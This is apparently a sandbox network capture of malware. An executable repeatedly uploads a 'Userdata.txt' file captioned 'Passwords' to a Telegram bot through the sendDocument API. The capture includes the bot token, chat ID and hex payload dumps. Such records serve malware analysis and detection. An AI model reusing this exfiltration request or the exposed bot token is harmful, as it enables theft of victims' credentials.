2025-01-10 20:41:44 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 64 34 65 31 34 62 66 38 33 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd32d4e14bf837Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:41:45 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:41:44 GMT Content-Type: application/json Content-Length: 536 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:41:45 UTC	536	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 37 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 37 30 34 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44674,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541704,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.8	50016	149.154.167.220	443	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:41:46 UTC	296	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd32e7854d3f76 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 20:41:46 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 65 37 38 35 34 64 33 66 37 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd32e7854d3f76Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:41:47 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:41:46 GMT Content-Type: application/json Content-Length: 537 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:41:47 UTC	537	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 37 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 37 30 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44675,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541706,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.8	50018	149.154.167.220	443	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:41:48 UTC	296	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd330608dbbc35 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 20:41:48 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 30 36 30 38 64 62 62 63 33 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd330608dbbc35Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:41:49 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:41:49 GMT Content-Type: application/json Content-Length: 536 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:41:49 UTC	536	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 37 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 37 30 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44677,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541709,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.8	50020	149.154.167.220	443	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:41:50 UTC	296	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd3319dc5c2cdf Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 20:41:50 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 31 39 64 63 35 63 32 63 64 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd3319dc5c2cdfContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:41:50 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:41:50 GMT Content-Type: application/json Content-Length: 536 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:41:50 UTC	536	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 37 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 37 31 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44679,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541710,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.8	50022	149.154.167.220	443	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:41:52 UTC	296	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd332da11f00c2 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 20:41:52 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 32 64 61 31 31 66 30 30 63 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd332da11f00c2Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:41:52 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:41:52 GMT Content-Type: application/json Content-Length: 536 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:41:52 UTC	536	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 38 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 37 31 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44681,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541712,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.8	50024	149.154.167.220	443	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:41:53 UTC	296	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd33400739d22b Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 20:41:53 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 34 30 30 37 33 39 64 32 32 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd33400739d22bContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:41:53 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:41:53 GMT Content-Type: application/json Content-Length: 536 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:41:53 UTC	536	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 38 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 37 31 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44683,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541713,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.8	50026	149.154.167.220	443	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:41:55 UTC	296	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd3354ff8faf06 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 20:41:55 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 35 34 66 66 38 66 61 66 30 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd3354ff8faf06Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:41:55 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:41:55 GMT Content-Type: application/json Content-Length: 536 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:41:55 UTC	536	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 38 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 31 37 31 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44685,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736541715,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.8	50028	149.154.167.220	443	5856	C:\Users\user\Desktop\xXUnP7uCBJ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:41:56 UTC	296	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd336b37c3d0f8 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 20:41:56 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 36 62 33 37 63 33 64 30 66 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd336b37c3d0f8Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:41:57 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:41:57 GMT Content-Type: application/json Content-Length: 536 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
